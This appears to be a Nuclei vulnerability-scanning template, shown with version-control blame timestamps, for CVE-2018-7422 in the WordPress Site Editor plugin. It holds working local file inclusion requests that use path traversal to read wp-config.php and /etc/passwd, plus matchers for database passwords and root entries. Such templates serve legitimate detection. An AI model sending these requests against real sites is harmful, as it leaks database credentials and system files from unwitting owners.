nuclei-templates/http/cves/2018/CVE-2018-7422.yaml

42 lines
1.4 KiB
YAML
Raw Normal View History

2021-04-11 10:19:26 +00:00
id: CVE-2018-7422
info:
name: WordPress Site Editor <=1.1.1 - Local File Inclusion
2021-07-19 19:13:39 +00:00
author: LuskaBol,0x240x23elu
2021-04-11 10:19:26 +00:00
severity: high
2022-06-20 16:20:16 +00:00
description: |
WordPress Site Editor through 1.1.1 allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.
reference:
- https://www.exploit-db.com/exploits/44340
- http://seclists.org/fulldisclosure/2018/Mar/40
- https://wpvulndb.com/vulnerabilities/9044
- https://nvd.nist.gov/vuln/detail/CVE-2018-7422
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-7422
cwe-id: CWE-22,CWE-829
tags: cve,cve2018,wordpress,wp-plugin,lfi,edb,seclists
2021-04-11 10:19:26 +00:00
http:
2021-04-11 10:19:26 +00:00
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config.php'
2021-07-19 19:13:39 +00:00
- "{{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd"
2021-04-11 10:19:26 +00:00
2021-07-19 19:13:39 +00:00
matchers-condition: or
2021-04-11 10:19:26 +00:00
matchers:
- type: word
2022-06-20 16:20:16 +00:00
part: body
2021-04-11 10:19:26 +00:00
words:
- "DB_NAME"
- "DB_PASSWORD"
condition: and
2021-07-19 19:13:39 +00:00
- type: regex
2022-06-20 16:20:16 +00:00
part: body
2021-07-19 19:13:39 +00:00
regex:
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
# Enhanced by mp on 2022/06/17